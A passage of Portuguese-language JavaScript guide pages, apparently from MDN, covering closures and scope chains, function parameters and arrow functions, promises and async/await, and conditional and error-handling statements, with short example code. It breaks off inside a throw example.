escopo`*. (O motivo de ser chamado \"encadeamento\" será explicado mais tarde).\n\nConsidere o seguinte exemplo:\n\n\n```js\nfunction A(x) {\n  function B(y) {\n    function C(z) {\n      alert(x + y + z);\n    }\n    C(3);\n  }\n  B(2);\n}\nA(1); // Exibe um alerta com o valor 6 (1 + 2 + 3)\n```\n\n\nNeste exemplo, `C` acessa `y` do `B` e `x` do `A`. Isso pode ser feito porque:\n\n1. B forma uma *closure* incluindo `A`, isto é, `B` pode acessar argumentos e variáveis de `A`.\n2. C forma uma *closure* incluindo `B`.\n3. Devido a closure `B` inclui `A`, a *closure* `C` inclui `A`, `C` pode acessar tanto argumentos e variáveis de `B` como de `A`. Em outras palavras, `C` *encadeia* o escopo de `B` e `A`, nesta ordem.\n\nO inverso, no entanto, não é verdadeiro. `A` não pode acessar `C`, porque `A` não pode acessar qualquer argumento ou variável de `B`. Assim, `C` é privado somente a `B`.\n\n### Conflitos de nome\n\nQuando dois argumentos ou variáveis nos escopos da *closure* tem o mesmo nome, há um *conflito de nome*. Mas escopos internos tem prioridade, por isso o escopo mais interno tem a maior prioridade, enquanto que o escopo mais externo tem a menor. Esta é a cadeia de escopo. O primeiro da cadeia é o escopo mais interno, e o último é o escopo mais externo. Considere o seguinte:\n\n\n```js\nfunction fora() {\n  var x = 10;\n  function dentro(x) {\n    return x;\n  }\n  return dentro;\n}\nresult = fora()(20); // retorna 20 em vez de 10\n```\n\n\nO conflito de nome acontece na declaração `return x` e está entre o parâmetro `x` de `dentro` e a variável `x` de `fora`. A cadeia de escopo aqui é {`dentro`, `fora`, objeto global}. Por isso o `x` de `dentro` tem precedência sobre o `x` de `fora`, e 20 (`x` de `dentro`) é retornado em vez de 10 (`x` de fora).\n\nClosures\n--------\n\n*Closures* são um dos recursos mais poderosos de JavaScript. JavaScript permite o aninhamento de funções e garante acesso completo à função interna a todas as variáveis e funções definidas dentro da função externa (e todas as outras variáveis e funções que a função externa tem acesso). No entanto, a função externa não tem acesso às variáveis e funções definidas dentro da função interna. Isto proporciona uma espécie de segurança para as variáveis da função interna. Além disso, uma vez que a função interna tem acesso ao escopo da função externa, as variáveis e funções definidas na função externa vão durar na memória mais do que a própria função externa, isto se a função interna permanecer na memória mais tempo do que a função externa. Uma *closure* é criada quando a função interna é de alguma forma disponibilizada para qualquer escopo fora da função externa.\n\n\n```js\nvar pet = function (nome) {\n    // A função externa define uma variável \"nome\"\n    var getNome = function () {\n      return nome; // A função interna tem acesso à variável \"nome\" da função externa\n    };\n\n    return getNome; // Retorna a função interna, expondo-a assim para escopos externos\n  },\n  myPet = pet(\"Vivie\");\n\nmyPet(); // Retorna \"Vivie\"\n```\n\n\nEla pode ser mais complexa que o código acima. Um objeto contendo métodos para manipular as variáveis da função externa pode ser devolvida.\n\n\n```js\nvar criarPet = function (nome) {\n  var sex;\n\n  return {\n    setNome: function (newNome) {\n      nome = newNome;\n    },\n\n    getNome: function () {\n      return nome;\n    },\n\n    getSex: function () {\n      return sex;\n    },\n\n    setSex: function (newSex) {\n      if (\n        typeof newSex == \"string\" &&\n        (newSex.toLowerCase() == \"macho\" || newSex.toLowerCase() == \"fêmea\")\n      ) {\n        sex = newSex;\n      }\n    },\n  };\n};\n\nvar pet = criarPet(\"Vivie\");\npet.getNome(); // Vivie\n\npet.setNome(\"Oliver\");\npet.setSex(\"macho\");\npet.getSex(); // macho\npet.getNome(); // Oliver\n```\n\n\nNos códigos acima, a variável `nome` da função externa é acessível para as funções internas, e não há nenhuma outra maneira para acessar as variáveis internas, exceto pelas funções internas. As variáveis internas da função interna atuam como armazenamento seguro para as funções internas. Elas armazenam \"persistentes\", mas seguros, os dados com os quais as funções internas irão trabalhar. As funções não tem que ser atribuídas a uma variável, ou ter um nome.\n\n\n```js\nvar getCode = (function () {\n  var secureCode = \"0]Eal(eh&2\"; // Um código que não queremos que pessoas de fora sejam capazes de modificar\n\n  return function () {\n    return secureCode;\n  };\n})();\n\ngetCode(); // Retorna o secureCode\n```\n\n\nHá, no entanto, uma série de armadilhas que se deve ter cuidado ao usar closures. Se uma função fechada define uma variável com o mesmo nome de uma variável em um escopo externo, não há nenhuma maneira de se referir para a variável em um escopo externo novamente.\n\n\n```js\nvar createPet = function (nome) {\n  // Função externa define uma variável chamada \"nome\"\n  return {\n    setNome: function (nome) {\n      // Função fechada define uma variável chamada \"nome\"\n      nome = nome; // ??? Como podemos acessar o \"nome\" definido pela função externa ???\n    },\n  };\n};\n```\n\n\nA palavra reservada this é muito complicada em *closures,* elas têm de ser usadas com muito cuidado. O objeto ao que `this` se refere depende completamente de onde a função foi chamada, ao invés de onde ela foi definida.\n\nUsando objeto de argumentos\n---------------------------\n\nOs argumentos de uma função são mantidos em um objeto do tipo array. Dentro de uma função, você pode endereçar os argumentos passados para ele conforme:\n\n\n```js\narguments[i];\n```\n\n\nonde `i` é um número ordinal do argumento, começando com zero. Então, o primeiro argumento passado para a função seria `arguments[0]`. O número total de argumentos é indicado por `arguments.length`.\n\nUsando o objeto `arguments`, você pode chamar a função com mais argumentos do que o formalmente declarado. Isso muitas vezes é útil se você não sabe de antemão quantos argumentos serão passados para a função. Você pode usar `arguments.length` para determinar a quantidade de argumentos passados para a função, e então acessar cada argumento usando o objeto `arguments`.\n\nPor exemplo, considere uma função que concatena várias *strings*. O argumento formal para a função é uma *string* que especifica os caracteres que separam os itens para concatenar. A função definida como segue:\n\n\n```js\nfunction myConcat(separador) {\n  var result = \"\", // inicializa a lista\n    i;\n  // itera por meio de argumentos\n  for (i = 1; i < arguments.length; i++) {\n    result += arguments[i] + separador;\n  }\n  return result;\n}\n```\n\n\nVocê pode passar qualquer quantidade de argumentos para esta função, e ela concatena cada argumento na *string* \"list\":\n\n\n```js\n// retorna \"red, orange, blue, \"\nmyConcat(\", \", \"red\", \"orange\", \"blue\");\n\n// retorna \"elephant; giraffe; lion; cheetah; \"\nmyConcat(\"; \", \"elephant\", \"giraffe\", \"lion\", \"cheetah\");\n\n// retorna \"sage. basil. oregano. pepper. parsley. \"\nmyConcat(\". \", \"sage\", \"basil\", \"oregano\", \"pepper\", \"parsley\");\n```\n\n\n**Nota:** Nota: A variável `arguments` é \"como um array\", mas não é um array. Ela é como um array pois possui um índice numerado e a propriedade `length`. No entanto, não possui todos os métodos de manipulação de array.\n\nVeja objeto `Function` na referência do JavaScript para maiores informações.\n\nParâmetros de função\n--------------------\n\nComeçando com ECMAScript 6, há dois tipos novos de parâmetros: parâmetros padrão e parâmetros rest.\n\n### Parâmetros padrão\n\nEm JavaScript, parâmetros padrões de funções são `undefined`. No entanto, em algumas situações pode ser útil definir um valor padrão diferente. Isto é onde os parâmetros padrão podem ajudar.\n\nNo passado, a estratégia geral para definir padrões era testar os valores de parâmetro no corpo da função e atribuir um valor se eles fossem `undefined`. Se, no exemplo a seguir, nenhum valor é fornecido para `b` na chamada, seu valor seria `undefined` ao avaliar `a*b` e a chamada para `multiplicar` retornaria `NaN`. No entanto, isso é pego com a segunda linha neste exemplo:\n\n\n```js\nfunction multiplicar(a, b) {\n  b = typeof b !== \"undefined\" ? b : 1;\n\n  return a \\* b;\n}\n\nmultiplicar(5); // 5\n```\n\n\nCom parâmetros padrão, a verificação no corpo da função não é mais necessária. Agora você pode simplesmente colocar `1` como valor padrão para `b` no campo de declaração de parâmetros:\n\n\n```js\nfunction multiplicar(a, b = 1) {\n  return a \\* b;\n}\n\nmultiplicar(5); // 5\n```\n\n\nMais detalhes, consulte parâmetros padrão na referência.\n\n### Parâmetros rest\n\nA sintaxe de parâmetro rest permite representar um número indefinido de argumentos como um *array*. No exemplo, usamos parâmetros *rest* para coletar argumentos do segundo argumento ao último. Então os multiplicamos pelo primeiro argumento. Neste exemplo é usado uma *arrow function*, que será introduzida na próxima seção.\n\n\n```js\nfunction multiplicar(multiplicador, ...args) {\n  return args.map((x) => multiplicador \\* x);\n}\n\nvar arr = multiplicar(2, 1, 2, 3);\nconsole.log(arr); // [2, 4, 6]\n```\n\nFunções de seta\n---------------\n\nUma expressão função de seta (anteriormente conhecida como **função de seta gorda**) tem uma sintaxe pequena em comparação com a expressão de função e lexicalmente vincula o valor `this`. Funções de seta são sempre anônimas. Consulte também no blog hacks.mozilla.org no post: \"ES6 In Depth: Arrow functions\".\n\nDois fatores influenciaram a introdução de funções de seta: funções mais curtas e o léxico `this`.\n\n### Funções curtas\n\nEm alguns padrões funcionais, funções curtas são bem-vindas. Compare:\n\n\n```js\nvar a = [\"Hydrogen\", \"Helium\", \"Lithium\", \"Beryllium\"];\n\nvar a2 = a.map(function (s) {\n  return s.length;\n});\n\nvar a3 = a.map((s) => s.length);\n```\n\n### Léxico this\n\nAté as funções de seta, cada nova função definia seu próprio valor this (um novo objeto no caso de um construtor, indefinido em chamadas de função no modo estrito, o objeto de contexto se a função é chamada como um \"método de objeto\", etc.). Isso pode ser irritante com um estilo de programação orientada a objetos.\n\n\n```js\nfunction Pessoa() {\n  // O construtor Pessoa() define 'this' como sendo ele.\n  this.idade = 0;\n  setInterval(function crescer() {\n    // No modo não estrito, a função crescer define 'this'\n    // como o objeto global, o que é diferente do 'this'\n    // definido pelo construtor Pessoa().\n    this.idade++;\n  }, 1000);\n}\nvar p = new Pessoa();\n```\n\n\nNo ECMAScript 3/5, este problema foi resolvido atribuindo o valor em `this` a uma variável que poderia ser fechada.\n\n\n```js\nfunction Pessoa() {\n  var self = this; // Alguns preferem 'that' em vez de 'self'.\n  // Escolha um e seja consistente.\n  self.idade = 0;\n\n  setInterval(function crescer() {\n    // A chamada de retorno refere-se à variável 'self' na qual\n    // o valor é o objeto esperado.\n    self.idade++;\n  }, 1000);\n}\n```\n\n\nComo alternativa, uma função vinculada poderia ser criada para que o valor da propriedade `this` seja passado para a função `crescer()`.\n\nFunções de seta capturam o valor `this` do contexto delimitado, então o código a seguir funciona conforme o esperado.\n```\n\nfunction Pessoa(){\n  this.idade = 0;\n\n  setInterval(() => {\n    this.idade++; // propriedade |this|refere ao objeto pessoa\n  }, 1000);\n}\n\nvar p = new Pessoa();\n```\n\nFunções pré-definidas\n---------------------\n\nJavaScript tem várias funções pré-definidas:\n\n`eval()`\n\nO método **`eval()`** avalia código JavaScript representado como uma *string*.\n\n`uneval()` \nNon-standard\n\nO método **`uneval()`** cria uma representação de *string* do código-fonte de um `Object`.\n\n`isFinite()`\n\nA função global **`isFinite()`** determina se o valor passado é um número finito. Se necessário, o parâmetro é primeiro convertido para um número.\n\n`isNaN()`\n\nA função **`isNaN()`** determina se um valor é `NaN` ou não. Nota: coerção dentro da função `isNaN` tem regras interessantes; você pode, alternativamente, querer usar `Number.isNaN()`, como definido no ECMAScript 6, ou você pode usar `typeof` para determinar se o valor não é um número.\n\n`parseFloat()`\n\nA função **`parseFloat()`** analisa um argumento do tipo *string* e retorna um número de ponto flutuante.\n\n`parseInt()`\n\nA função **`parseInt()`** analisa um argumento do tipo *string* e retorna um inteiro da base especificada (base do sistema numérico).\n\n`decodeURI()`\n\nA função **`decodeURI()`** decodifica uma *Uniform Resource Identifier* (URI) criada anteriormente por `encodeURI` ou por uma rotina similar.\n\n`decodeURIComponent()`\n\nO método **`decodeURIComponent()`** decodifica um componente *Uniform Resource Identifier* (URI) criado anteriormente por `encodeURIComponent` ou por uma rotina similar.\n\n`encodeURI()`\n\nO método **`encodeURI()`** codifica um Uniform Resource Identifier (URI), substituindo cada ocorrência de determinados caracteres por um, dois, três, ou quatro sequências de escape que representa a codificação UTF-8 do caractere (só serão quatro sequências de escape para caracteres compostos de dois caracteres \"substitutos\").\n\n`encodeURIComponent()`\n\nO método **`encodeURIComponent()`** codifica um componente *Uniform Resource Identifier* (URI), substituindo cada ocorrência de determinados caracteres por um, dois, três, ou quatro sequências de escape que representa a codificação UTF-8 do caractere (só serão quatro sequências de escape para caracteres compostos de dois caracteres \"substitutos\").\n\n`escape()` \nDeprecated\n\nO método obsoleto **`escape()`** calcula uma nova *string* na qual certos caracteres foram substituídos por uma sequência de escape hexadecimal. Use `encodeURI` ou `encodeURIComponent` em vez disso.\n\n`unescape()` \nDeprecated\n\nO método obsoleto **`unescape()`** calcula uma nova *string* na qual sequências de escape hexadecimais são substituídas pelo caractere que ela representa. As sequências de escape podem ser introduzidas por uma função como `escape`. Por `unescape()` estar obsoleto, use `decodeURI()` ou `decodeURIComponent` ao invés dele.\n\n* « Previous\n* Next »"}
{"title":"Usando promises - JavaScript","text":"Usando promises\n===============\n\n* « Previous\n* Next »\n\nUma `Promise` é um objeto que representa a eventual conclusão ou falha de uma operação assíncrona. Como a maioria das pessoas consomem promises já criadas, este guia explicará o consumo de promises devolvidas antes de explicar como criá-las.\n\nEssencialmente, uma promise é um objeto retornado para o qual você adiciona callbacks, em vez de passar callbacks para uma função.\n\nPor exemplo, em vez de uma função old-style que espera dois callbacks, e chama um deles em uma eventual conclusão ou falha:\n\n\n```js\nfunction successCallback(result) {\n  console.log(\"It succeeded with \" + result);\n}\n\nfunction failureCallback(error) {\n  console.log(\"It failed with \" + error);\n}\n\ndoSomething(successCallback, failureCallback);\n```\n\n\n…funções modernas retornam uma promise e então você pode adicionar seus callbacks:\n\n\n```js\nconst promise = doSomething();\npromise.then(successCallback, failureCallback);\n```\n\n\n…ou simplesmente:\n\n\n```js\ndoSomething().then(successCallback, failureCallback);\n```\n\n\nNós chamamos isso de *chamada de função assíncrona*. Essa convenção tem várias vantagens. Vamos explorar cada uma delas.\n\nGarantias\n---------\n\nAo contrário dos callbacks com retornos de funções old-style, uma promise vem com algumas garantias:\n\n* Callbacks nunca serão chamados antes da conclusão da execução atual do loop de eventos do JavaScript.\n* Callbacks adicionadas com .then mesmo *depois* do sucesso ou falha da operação assíncrona, serão chamadas, como acima.\n* Multiplos callbacks podem ser adicionados chamando-se .then várias vezes, para serem executados independentemente da ordem de inserção.\n\nMas o benefício mais imediato das promises é o encadeamento.\n\nEncadeamento\n------------\n\nUma necessidade comum é executar duas ou mais operações assíncronas consecutivas, onde cada operação subsequente começa quando a operação anterior é bem sucedida, com o resultado do passo anterior. Nós conseguimos isso criando uma *cadeia de promises*.\n\nAqui está a mágica: a função `then` retorna uma nova promise, diferente da original:\n\n\n```js\nconst promise = doSomething();\nconst promise2 = promise.then(successCallback, failureCallback);\n```\n\n\nou\n\n\n```js\nconst promise2 = doSomething().then(successCallback, failureCallback);\n```\n\n\nEssa segunda promise representa a conclusão não apenas de `doSomething()`, mas também do `successCallback` ou `failureCallback` que você passou, que podem ser outras funções assíncronas que retornam uma promise. Quando esse for o caso, quaisquer callbacks adicionados a `promise2` serão enfileiradas atrás da promise retornada por `successCallback` ou `failureCallback`.\n\nBasicamente, cada promise representa a completude de outro passo assíncrono na cadeia.\n\nAntigamente, realizar operações assíncronas comuns em uma linha levaria à clássica pirâmide da desgraça:\n\n\n```js\ndoSomething(function (result) {\n  doSomethingElse(\n    result,\n    function (newResult) {\n      doThirdThing(\n        newResult,\n        function (finalResult) {\n          console.log(\"Got the final result: \" + finalResult);\n        },\n        failureCallback,\n      );\n    },\n    failureCallback,\n  );\n}, failureCallback);\n```\n\n\nAo invés disso, com funções modernas, nós atribuímos nossas callbacks às promises retornadas, formando uma *cadeia de promise*:\n\n\n```js\ndoSomething()\n  .then(function (result) {\n    return doSomethingElse(result);\n  })\n  .then(function (newResult) {\n    return doThirdThing(newResult);\n  })\n  .then(function (finalResult) {\n    console.log(\"Got the final result: \" + finalResult);\n  })\n  .catch(failureCallback);\n```\n\n\nOs argumentos para `then` são opcionais, e `catch(failureCallback)` é uma abreviação para `then(null, failureCallback)`. Você pode também pode ver isso escrito com arrow functions:\n\n\n```js\ndoSomething()\n  .then((result) => doSomethingElse(result))\n  .then((newResult) => doThirdThing(newResult))\n  .then((finalResult) => {\n    console.log(`Got the final result: ${finalResult}`);\n  })\n  .catch(failureCallback);\n```\n\n\n**Importante:** Sempre retorne um resultado, de outra forma as callbacks não vão capturar o resultado da promise anterior.\n\n### Encadeando depois de um catch\n\nÉ possivel encadear *depois* de uma falha, i.e um `catch`. Isso é muito útil para realizar novas ações mesmo depois de uma falha no encadeamento. Leia o seguinte exemplo:\n\n\n```js\nnew Promise((resolve, reject) => {\n  console.log(\"Initial\");\n\n  resolve();\n})\n  .then(() => {\n    throw new Error(\"Something failed\");\n\n    console.log(\"Do this\");\n  })\n  .catch(() => {\n    console.log(\"Do that\");\n  })\n  .then(() => {\n    console.log(\"Do this whatever happened before\");\n  });\n```\n\n\nIsso vai produzir o seguinte texto:\n```\n\nInitial\nDo that\nDo this whatever happened before\n```\n\n\nObserve que o texto \"Do this\" não foi impresso por conta que o erro \"Something failed\" causou uma rejeição.\n\nPropagação de erros\n-------------------\n\nNa pirâmide da desgraça vista anteriormente, você pode se lembrar de ter visto `failureCallback` três vezes, em comparação a uma única vez no fim da corrente de promises:\n\n\n```js\ndoSomething()\n  .then((result) => doSomethingElse(result))\n  .then((newResult) => doThirdThing(newResult))\n  .then((finalResult) => console.log(`Got the final result: ${finalResult}`))\n  .catch(failureCallback);\n```\n\n\nBasicamente, uma corrente de promises para se houver uma exceção, procurando por catch handlers no lugar. Essa modelagem de código segue bastante a maneira de como o código síncrono funciona:\n\n\n```js\ntry {\n  const result = syncDoSomething();\n  const newResult = syncDoSomethingElse(result);\n  const finalResult = syncDoThirdThing(newResult);\n  console.log(`Got the final result: ${finalResult}`);\n} catch (error) {\n  failureCallback(error);\n}\n```\n\n\nEssa simetria com código assíncrono resulta no *syntactic sugar* `async`/`await` presente no ECMAScript 2017:\n\n\n```js\nasync function foo() {\n  try {\n    const result = await doSomething();\n    const newResult = await doSomethingElse(result);\n    const finalResult = await doThirdThing(newResult);\n    console.log(`Got the final result: ${finalResult}`);\n  } catch (error) {\n    failureCallback(error);\n  }\n}\n```\n\n\nÉ construído sobre promises, por exemplo, `doSomething()` é a mesma função que antes. Leia mais sobre a sintaxe aqui.\n\nPor pegar todos os erros, até mesmo exceções jogadas(*thrown exceptions*) e erros de programação, as promises acabam por solucionar uma falha fundamental presente na pirâmide da desgraça dos callbacks. Essa característica é essencial para a composição funcional das operações assíncronas.\n\nCriando uma Promise em torno de uma callback API antiga\n-------------------------------------------------------\n\nUma `Promise` pode ser criada do zero utilizando o seu construtor. Isto deve ser necessário apenas para o envolvimento de APIs antigas.\n\nEm um mundo ideal, todas as funções assíncronas já retornariam promises. Infelizmente, algumas APIs ainda esperam que os retornos de sucesso e/ou falha sejam passados da maneira antiga. O exemplo por excelência é o `setTimeout()` (en-US) function:\n\n\n```js\nsetTimeout(() => saySomething(\"10 seconds passed\"), 10000);\n```\n\n\nMisturar chamadas de retorno e promises de *old-style* é problemático. Se `saySomething` falhar ou contiver um erro de programação, nada o captura.\n\nPor sorte nós podemos envolvê-la em uma promise. É uma boa prática envolver funções problemáticas no menor nivel possível, e nunca chamá-las diretamente de novo:\n\n\n```js\nconst wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));\n\nwait(10000)\n  .then(() => saySomething(\"10 seconds\"))\n  .catch(failureCallback);\n```\n\n\nBasicamente, um construtor de promises pega uma função executora que nos deixa resolver ou rejeitar uma promise manualmente. Desde que `setTimeout` não falhe, nós deixamos a rejeição de fora neste caso.\n\nComposição\n----------\n\n`Promise.resolve()` e `Promise.reject()` são atalhos para se criar manualmente uma promise que já foi resolvida ou rejeitada, respectivamente. Isso pode ser útil em algumas situações.\n\n`Promise.all()` e `Promise.race()` são duas ferramentas de composição para se executar operações assíncronas em paralelo.\n\nUma composição sequencial é possível usando JavaScript de uma forma esperta:\n\n\n```js\n[func1, func2].reduce((p, f) => p.then(f), Promise.resolve());\n```\n\n\nBasicamente reduzimos um vetor de funções assíncronas a uma cadeia de promises equivalentes a: `Promise.resolve().then(func1).then(func2);`\n\nIsso também pode ser feito com uma função de composição reutilizável, que é comum em programação funcional:\n\n\n```js\nconst applyAsync = (acc, val) => acc.then(val);\nconst composeAsync =\n  (...funcs) =>\n  (x) =>\n    funcs.reduce(applyAsync, Promise.resolve(x));\n```\n\n\nA função composeAsync aceitará qualquer número de funções como argumentos e retornará uma nova função que aceita um valor inicial a ser passado pelo pipeline de composição. Isso é benéfico porque alguma, ou todas as funções, podem ser assíncronas ou síncronas, e é garantido de que serão executadas na ordem correta.\n\n\n```js\nconst transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);\ntransformData(data);\n```\n\n\nNo ECMAScript 2017, uma composição sequencial pode ser feita de forma mais simples com async/await:\n\n\n```js\nfor (const f of [func1, func2]) {\n  await f();\n}\n```\n\nCronometragem\n-------------\n\nPara evitar surpresas, funções passadas para `then` nunca serão chamadas sincronamente, mesmo com uma função já resolvida:\n\n\n```js\nPromise.resolve().then(() => console.log(2));\nconsole.log(1); // 1, 2\n```\n\n\nAo invés de rodar imediatamente, a função passada é colocada em uma micro tarefa, o que significa que ela roda depois que a fila estiver vazia no final do atual processo de evento de loop do Javascript, ou seja: muito em breve:\n\n\n```js\nconst wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));\n\nwait().then(() => console.log(4));\nPromise.resolve()\n  .then(() => console.log(2))\n  .then(() => console.log(3));\nconsole.log(1); // 1, 2, 3, 4\n```\n\nVer também\n----------\n\n* `Promise.then()`\n* Promises/A+ specification\n* Venkatraman.R - JS Promise (Part 1, Basics)\n* Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)\n* Venkatraman.R - Tools for Promises Unit Testing\n* Nolan Lawson: We have a problem with promises — Common mistakes with promises\n* « Previous\n* Next »"}
{"title":"Controle de Fluxo e Manipulação de Erro - JavaScript","text":"Controle de Fluxo e Manipulação de Erro\n=======================================\n\n* « Previous\n* Next »\n\nO JavaScript suporta um conjunto compacto de declarações, especificamente de fluxo de controle, que você pode utilizar para atribuir uma grande interatividade a páginas web. Este capítulo fornece uma visão geral destas declarações.\n\nVeja a Referência do JavaScript para detalhes sobre as declarações mostradas neste capítulo. No código em JavaScript, o caractere ponto e vírgula (`;`) é utilizado para separar declarações.\n\nToda expressão também é uma declaração. Veja Expressões e Operadores para informações completas sobre expressões.\n\nDeclaração em bloco\n-------------------\n\nUma declaração em bloco é utilizada para agrupar declarações. O bloco é delimitado por um par de chaves:\n```\n\n{\n   declaracao_1;\n   declaracao_2;\n   .\n   .\n   .\n   declaracao_n;\n}\n```\n\n### Exemplo\n\nDeclarações em bloco são utilizadas geralmente com declarações de fluxo de controle (ex. `if`, `for`, `while`).\n\n\n```js\nwhile (x < 10) {\n  x++;\n}\n```\n\n\nAqui, `{ x++; }` é a declaração de bloco.\n\n**Importante**: Antes de ECMAScript 6 o JavaScript **não** possuía escopo de bloco. Variáveis introduzidas dentro de um bloco possuem como escopo a função ou o script em que o bloco está contido, e, definir tais variáveis tem efeito muito além do bloco em si. Em outras palavras, declarações de bloco não introduzem um escopo. Embora blocos \"padrão\" sejam uma sintaxe válida não utilize-os, em JavaScript, pensando que funcionam como em C ou Java porque eles não funcionam da maneira que você acredita. Por exemplo:\n\n\n```js\nvar x = 1;\n{\n  var x = 2;\n}\nconsole.log(x); // exibe 2\n```\n\n\nEste código exibe 2 porque a declaração `var x` dentro do bloco possui o mesmo escopo que a declaração `var x` antes do bloco. Em C ou Java, o código equivalente exibiria 1.\n\nDeclarações condicionais\n------------------------\n\nUma declaração condicional é um conjunto de comandos que são executados caso uma condição especificada seja verdadeira. O JavaScript suporta duas declarações condicionais: `if...else` e `switch`.\n\n### Declaração if...else\n\nUse a declaração `if` para executar alguma declaração caso a condição lógica for verdadeira. Use a cláusula opcional `else` para executar alguma declaração caso a condição lógica for falsa. Uma declaração `if` é declarada da seguinte maneira:\n```\n\nif (condicao) {\n  declaracao_1;\n} else {\n  declaracao_2;\n}\n```\n\n\nonde `condicao` pode ser qualquer expressão que seja avaliada como verdadeira ou falsa. Veja Boolean para uma explicação sobre o que é avaliado como `true` e `false`. Se `condicao` for avaliada como verdadeira, declaracao`_1` é executada; caso contrário, `declaracao_2` é executada. `declaracao_1` e `declaracao_2` podem ser qualquer declaração, incluindo declarações `if` aninhadas.\n\nVocê pode também combinar declarações utilizando `else if` para obter várias condições testadas em sequência, como o seguinte:\n```\n\nif (condicao) {\n  declaracao_1;\n} else if (condicao_2) {\n  declaracao_2;\n} else if (condicao_n) {\n  declaracao_n;\n} else {\n  declaracao_final;\n}\n```\n\n\nPara executar várias declarações, agrupe-as em uma declaração em bloco (`{ ... }`). Em geral, é uma boa prática sempre utilizar declarações em bloco, especialmente ao aninhar declarações `if`:\n```\n\nif (condicao) {\n    declaracao_1_executada_se_condicao_for_verdadeira;\n    declaracao_2_executada_se_condicao_for_verdadeira;\n} else {\n    declaracao_3_executada_se_condicao_for_falsa;\n    declaracao_4_executada_se_condicao_for_falsa;\n}\n```\n\n\nRecomenda-se não utilizar atribuições simples em uma expressão condicional porque o símbolo de atribuição poderia ser confundido com o de igualdade ao dar uma olhada no código. Por exemplo, não utilize o seguinte código:\n\n\n```js\nif (x = y) {\n  /\\* faça a coisa certa \\*/\n}\n```\n\n\nCaso tenha que utilizar uma atribuição em uma expressão condicional, uma prática comum é colocar parênteses adicionais em volta da atribuição. Por exemplo:\n\n\n```js\nif ((x = y)) {\n  /\\* faça a coisa certa \\*/\n}\n```\n\n\n#### Valores avaliados como falsos\n\nOs seguintes valores são avaliados como falsos:\n\n* `false`\n* `undefined`\n* `null`\n* `0`\n* `NaN`\n* string vazia (`\"\"`)\n\nTodos os outros valores, incluindo todos os objetos, são avaliados como verdadeiros quando passados para uma declaração condicional.\n\nNão confunda os valores booleanos primitivos `true` e `false` com os valores de `true` e `false` do objeto Boolean. Por exemplo:\n```\n\nvar b = new Boolean(false);\nif (b) // esta condição é avaliada como verdadeira\nif (b == true) // esta condição é avaliada como falsa\n```\n\n\n#### Exemplo\n\nNo exemplo a seguir, a função `verifiqueDados` retorna verdadeiro se o número de caracteres em um objeto `Text` for três; caso contrário, exibe um alerta e retorna `falso`.\n\n\n```js\nfunction verifiqueDados() {\n  if (document.form1.tresCaracteres.value.length == 3) {\n    return true;\n  } else {\n    alert(\n      \"Informe exatamente três caracteres. \" +\n        document.form1.tresCaracteres.value +\n        \" não é válido.\",\n    );\n    return false;\n  }\n}\n```\n\n### Declaração switch\n\nUma declaração `switch` permite que um programa avalie uma expressão e tente associar o valor da expressão ao rótulo de um `case`. Se uma correspondência é encontrada, o programa executa a declaração associada. Uma declaração `switch` se parece com o seguinte:\n```\n\nswitch (expressao) {\n   case rotulo_1:\n      declaracoes_1\n      [break;]\n   case rotulo_2:\n      declaracoes_2\n      [break;]\n   ...\n   default:\n      declaracoes_padrao\n      [break;]\n}\n```\n\n\nO programa primeiramente procura por uma cláusula `case` com um rótulo que corresponda ao valor da expressão e então transfere o controle para aquela cláusula, executando as declaracoes associadas. Se nenhum rótulo correspondente é encontrado, o programa procura pela cláusula opcional `default` e, se encontrada, transfere o controle àquela cláusula, executando as declarações associadas. Se nenhuma cláusula `default` é encontrada, o programa continua a execução a partir da declaracao seguinte ao `switch`. Por convenção, a cláusula `default` é a última, mas não é necessário que seja assim.\n\nA instrução `break` associada a cada cláusula `case`, garante que o programa sairá do `switch` assim que a declaração correspondente for executada e que continuará a execução a partir da declaração seguinte ao `switch`. Se a declaração `break` for omitida, o programa continua a execução a partir da próxima declaração dentro do `switch`.\n\n#### Exemplo\n\nNo exemplo a seguir, se `tipofruta` for avaliada como `\"Banana\"`, o programa faz a correspondência do valor com case `\"Banana\"` e executa a declaração associada. Quando o `break` é encontrado, o programa termina o `switch` e executa a declaração seguinte ao condicional. Se o `break` fosse omitido, a declaração de case `\"Cereja\"` também seria executada.\n\n\n```js\nswitch (tipofruta) {\n  case \"Laranja\":\n    console.log(\"O quilo da laranja está R$0,59.<br>\");\n    break;\n  case \"Maçã\":\n    console.log(\"O quilo da maçã está R$0,32.<br>\");\n    break;\n  case \"Banana\":\n    console.log(\"O quilo da banana está R$0,48.<br>\");\n    break;\n  case \"Cereja\":\n    console.log(\"O quilo da cereja está R$3,00.<br>\");\n    break;\n  case \"Manga\":\n    console.log(\"O quilo da manga está R$0,56.<br>\");\n    break;\n  case \"Mamão\":\n    console.log(\"O quilo do mamão está R$2,23.<br>\");\n    break;\n  default:\n    console.log(\"Desculpe, não temos \" + tipofruta + \".<br>\");\n}\nconsole.log(\"Gostaria de mais alguma coisa?<br>\");\n```\n\nDeclarações de Manipulação de Error\n-----------------------------------\n\nVocê pode chamar uma exceção usando a declaração `throw` e manipulá-la usando a declaração `try...catch`.\n\n* Declaração throw\n* Declaração `try...catch`\n### Tipos de exceções\n\nPraticamente pode-se utilizar `throw` em qualquer objeto de JavaScript. Todavia, nem todos os objetos ativados por `throw` são igualmente criados. Embora seja bastante comum tratar números ou strings como erros usando `throw`, é frequentemente mais eficiente usar alguns tipos de exceções especificamente criadas para esses propósitos:\n\n* ECMAScript exceptions\n* `DOMException` (en-US) and `DOMError` (en-US)\n### `Declaração throw`\n\nUse a declaração `throw` para lançar uma exceção. Quando você lança uma exceção, você especifica a expressão contendo o valor a ser lançado:\n```\n\nthrow expressão;\n```\n\n\nVocê pode lançar qualquer expressão, não apenas expressões de um tipo específico. O código a seguir lança várias exceções de diferentes tipos:\n\n\n```js\nthrow \"Error2\"; // tipo string\nthrow 42; // tipo numérico\nthrow true; // tipo booleano\nthrow {\n  toString: function () {\n    return \"Eu sou um objeto!\";\n  },\n};\n```\n\n\n> \n> \\*\\*Nota:\\*\\*Você pode especificar um objeto quando você lança uma exceção. Você pode então, referenciar as propriedades de um objeto no bloco catch. O exemplo a seguir cria um objeto myUserException do tipo userException e o usa em uma declaração throw.\n> \n> \n> \n\n\n```js\n// Cria um objeto do tipo UserException\nfunction UserException(mensagem) {\n  this.mensagem = mensagem;\n  this.nome = 